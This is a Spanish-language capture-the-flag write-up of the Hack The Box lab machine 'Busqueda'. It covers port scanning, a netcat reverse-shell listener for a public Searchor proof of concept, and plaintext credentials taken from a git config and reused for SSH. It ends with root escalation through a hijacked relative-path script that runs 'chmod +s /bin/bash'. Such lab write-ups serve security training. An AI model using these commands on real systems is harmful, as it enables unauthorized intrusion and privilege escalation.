Busqueda
Artículo escrito el 22 de junio
En esta ocasión volvemos con otra máquina easy de Hack The Box, donde explotaremos una vulnerabilidad que nos dará un shell, el cual nos servirá para obtener información adicional, para posteriormente aprovecharnos de una vulnerabilidad en un script para ganar privilegios.
Reconocimiento de Puertos
Como siempre, empezaremos realizando el reconocimiento de puertos con un pequeño script que creé para automatizar este proceso inicial:
❯ ip=10.10.11.208
❯ sudo nmapauto $ip
[*] Reconocimiento inicial de puertos
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-17 12:18 CEST
Initiating SYN Stealth Scan at 12:18
Scanning 10.10.11.208 [65535 ports]
Discovered open port 22/tcp on 10.10.11.208
Discovered open port 80/tcp on 10.10.11.208
Completed SYN Stealth Scan at 12:18, 11.32s elapsed (65535 total ports)
Nmap scan report for 10.10.11.208
Host is up (0.040s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 11.41 seconds
Raw packets sent: 65589 (2.886MB) | Rcvd: 65535 (2.621MB)
[*] Escaneo avanzado de servicios
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-17 12:18 CEST
Nmap scan report for searcher.htb (10.10.11.208)
Host is up (0.038s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
|_ 256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Searcher
| http-server-header:
| Apache/2.4.52 (Ubuntu)
|_ Werkzeug/2.1.2 Python/3.10.6
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.15 seconds
[*] Escaneo completado, se ha generado el fichero InfoPuertos
Si tratamos de cargar el puerto 80:
❯ curl $ip -L
curl: (6) Could not resolve host: searcher.htb
Se aplica virtualhost. Añadimos el dominio en el /etc/hosts:
❯ echo "10.10.11.208 searcher.htb" | sudo tee -a /etc/hosts
Si cargamos ahora de nuevo con el navegador:
Si nos fijamos, aparece un número de versión, por lo que podemos tratar de buscar si existe alguna vulnerabilidad para la misma.
Explotando vulnerabilidad
Realizando una búsqueda en Google podemos ver varios resultados, entre ellos, este repositorio https://github.com/jonnyzar/POC-Searchor-2.4.2. Con este parámetro parece que podemos ganar RCE.
En primer lugar nos ponemos en escucha con Netcat: nc -nlvp 1234
y probamos el parámetro de la prueba de concepto mediante Burpsuite:
Nada más entrar comprobamos dónde estamos, quiénes somos y revisamos un poco el directorio actual:
$ pwd
/var/www/app
$ id
uid=1000(svc) gid=1000(svc) groups=1000(svc)
$ ls -la
total 20
drwxr-xr-x 4 www-data www-data 4096 Apr 3 14:32 .
drwxr-xr-x 4 root root 4096 Apr 4 16:02 ..
-rw-r--r-- 1 www-data www-data 1124 Dec 1 2022 app.py
drwxr-xr-x 8 www-data www-data 4096 Jun 16 16:48 .git
drwxr-xr-x 2 www-data www-data 4096 Dec 1 2022 templates
$ cd .git
$ ls -la
total 52
drwxr-xr-x 8 www-data www-data 4096 Jun 16 16:48 .
drwxr-xr-x 4 www-data www-data 4096 Apr 3 14:32 ..
drwxr-xr-x 2 www-data www-data 4096 Dec 1 2022 branches
-rw-r--r-- 1 www-data www-data 15 Dec 1 2022 COMMIT_EDITMSG
-rw-r--r-- 1 www-data www-data 294 Dec 1 2022 config
-rw-r--r-- 1 www-data www-data 73 Dec 1 2022 description
-rw-r--r-- 1 www-data www-data 21 Dec 1 2022 HEAD
drwxr-xr-x 2 www-data www-data 4096 Dec 1 2022 hooks
-rw-r--r-- 1 root root 259 Apr 3 15:09 index
drwxr-xr-x 2 www-data www-data 4096 Dec 1 2022 info
drwxr-xr-x 3 www-data www-data 4096 Dec 1 2022 logs
drwxr-xr-x 9 www-data www-data 4096 Dec 1 2022 objects
drwxr-xr-x 5 www-data www-data 4096 Dec 1 2022 refs
$ cat config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
remote = origin
merge = refs/heads/main
En este punto nos encontramos unas credenciales de un usuario para un sitio.
Si añadimos el subdominio al /etc/hosts y revisamos en la web con esos datos no vemos nada interesante, aunque sí descubrimos la existencia de un usuario privilegiado, administrator
Con todo esto que ya sabemos, vamos a intentar coger la flag de user y seguir investigando:
$ ls /home
svc
$ cd ~
$ ls
dirty_sockv2.py
full-checkup.py
snap
snapd_exploit.py
user.txt
$ cat user.txt
Escalada de privilegios
Para la flag de user no necesitábamos nada más, solamente con ganar el RCE ya podemos leerla.
Con los datos anteriormente descubiertos, no podemos conectarnos por SSH ya que el usuario cody no existe en el sistema, lo podemos comprobar con cat /etc/passwd | grep cody
.
Sin embargo, si reutilizamos la contraseña con nuestro usuario actual svc sí es correcta, por lo que podemos conectarnos por SSH para tener una TTY interactiva y acceso directo.
De esta forma, empezaremos viendo los comandos que podemos ejecutar como otro usuario:
svc@busqueda:/var/www/app$ sudo -l
[sudo] password for svc:
Matching Defaults entries for svc on busqueda:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User svc may run the following commands on busqueda:
(root) /usr/bin/python3 /opt/scripts/system-checkup.py *
svc@busqueda:/var/www/app$
Tenemos permiso para utilizar ese script como root, así que vamos a ver qué hace:
svc@busqueda:/var/www/app$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)
docker-ps : List running docker containers
docker-inspect : Inpect a certain docker container
full-checkup : Run a full system checkup
svc@busqueda:/var/www/app$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
960873171e2e gitea/gitea:latest "/usr/bin/entrypoint…" 5 months ago Up 19 hours 127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp gitea
f84a6b33fb5a mysql:8 "docker-entrypoint.s…" 5 months ago Up 19 hours 127.0.0.1:3306->3306/tcp, 33060/tcp mysql_db
svc@busqueda:/var/www/app$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect
Usage: /opt/scripts/system-checkup.py docker-inspect <format> <container_name>
Bien, nos indica las 3 opciones que podemos hacer. Con la primera vemos los 2 contenedores que están funcionando.
Para utilizar la 2ª opción necesitamos un formato, que si vamos a la ayuda oficial de Docker https://docs.docker.com/engine/reference/commandline/inspect/ podemos ver:
Básicamente aquí nos encontramos unas credenciales de acceso, pero antes de ver qué podemos hacer con ellas, vamos a ejecutar la 3ª y última opción que nos quedaba:
svc@busqueda:/var/www/app$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
[sudo] password for svc:
Something went wrong
Nos indica que hubo algún error, por lo que si seguimos con el hilo anterior y accedemos a gitea.searcher.htb, recordaremos que existía un usuario administrator, con el que nos podemos loguear reutilizando una contraseña de las que hemos conseguido con la 2ª opción.
Revisando esos ficheros, podemos ver system-checkup.py, que es el script que podemos ejecutar como root, así que vamos a ver de qué forma está hecho para ver si nos podemos aprovechar de alguna vulnerabilidad:
#!/bin/bash
import subprocess
import sys
actions = ['full-checkup', 'docker-ps','docker-inspect']
def run_command(arg_list):
r = subprocess.run(arg_list, capture_output=True)
if r.stderr:
output = r.stderr.decode()
else:
output = r.stdout.decode()
return output
def process_action(action):
if action == 'docker-inspect':
try:
_format = sys.argv[2]
if len(_format) == 0:
print(f"Format can't be empty")
exit(1)
container = sys.argv[3]
arg_list = ['docker', 'inspect', '--format', _format, container]
print(run_command(arg_list))
except IndexError:
print(f"Usage: {sys.argv[0]} docker-inspect <format> <container_name>")
exit(1)
except Exception as e:
print('Something went wrong')
exit(1)
elif action == 'docker-ps':
try:
arg_list = ['docker', 'ps']
print(run_command(arg_list))
except:
print('Something went wrong')
exit(1)
elif action == 'full-checkup':
try:
arg_list = ['./full-checkup.sh']
print(run_command(arg_list))
print('[+] Done!')
except:
print('Something went wrong')
exit(1)
if __name__ == '__main__':
try:
action = sys.argv[1]
if action in actions:
process_action(action)
else:
raise IndexError
except IndexError:
print(f'Usage: {sys.argv[0]} <action> (arg1) (arg2)')
print('')
print(' docker-ps : List running docker containers')
print(' docker-inspect : Inpect a certain docker container')
print(' full-checkup : Run a full system checkup')
print('')
exit(1)
Ahora ya entendemos por qué no funcionaba la 3ª opción del script (full-checkup), ya que se está llamando de forma relativa a full-checkup.sh.
De esta forma, debería bastar con generar ese nombre de fichero con permisos de ejecución en un directorio en el que tengamos escritura, por lo que crearemos este script:
#!/bin/bash
chmod +s /bin/bash
Vamos a ello:
svc@busqueda:/tmp$ cd ~
svc@busqueda:~$ nano full-checkup.sh
svc@busqueda:~$ chmod +x full-checkup.sh
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
[sudo] password for svc:
[+] Done!
svc@busqueda:~$ bash -p
bash-5.1# cd /root
bash-5.1# ls
ecosystem.config.js root.txt scripts snap
bash-5.1# cat root.txt
Con esto hemos finalizado la máquina. Las de Hack The Box son bastante más complejas y se me atragantan en ciertos puntos bastante, pero están bien porque se aprenden muchas cosas. Nos vemos en la siguiente.